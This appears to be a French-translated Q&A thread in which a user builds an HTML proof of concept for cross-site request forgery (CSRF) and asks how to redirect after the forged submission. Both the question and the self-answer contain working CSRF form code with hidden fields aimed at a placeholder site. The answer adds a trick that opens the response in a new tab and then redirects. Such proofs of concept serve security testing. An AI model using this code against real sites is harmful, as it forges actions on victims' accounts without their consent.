web-dev-qa-db-fra.com

Redirection vers une page après avoir soumis le formulaire en HTML

Je suis assez nouveau pour coder en HTML. Après des heures de recherche sur Internet pour trouver un moyen de le faire, j'ai échoué et je suis donc ici. Je mettais en place une page de preuve de concept CSRF ici, je veux qu'elle redirige vers une autre page qui exécutera la charge utile que le CSRF avait implémentée.

<html>
  <body>
    <form action="https://website.com/action.php?" method="POST">
      <input type="hidden" name="fullname" value="john" />
      <input type="hidden" name="address" value="street 2, 32 ave" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

Donc, après avoir soumis ce formulaire en utilisant, il ne fait que rediriger vers cette page

which looks like this,

Mais au lieu de cela, je veux qu'il redirige vers une autre URL et envoie ce formulaire.

7
Ons Ali

Pour toute autre personne ayant le même problème, je l'ai moi-même compris.

    <html>
      <body>
        <form target="_blank" action="https://website.com/action.php" method="POST">
          <input type="hidden" name="fullname" value="Sam" />
          <input type="hidden" name="city" value="Dubai&#32;" />
          <input onclick="window.location.href = 'https://website.com/my-account';" type="submit" value="Submit request" />
        </form>
      </body>
    </html>

Tout ce que j'avais à faire était d'ajouter l'attribut target = "_ blank" au formulaire en ligne pour ouvrir la réponse dans une nouvelle page et rediriger l'autre page en utilisant onclick sur le bouton d'envoi.

14
Ons Ali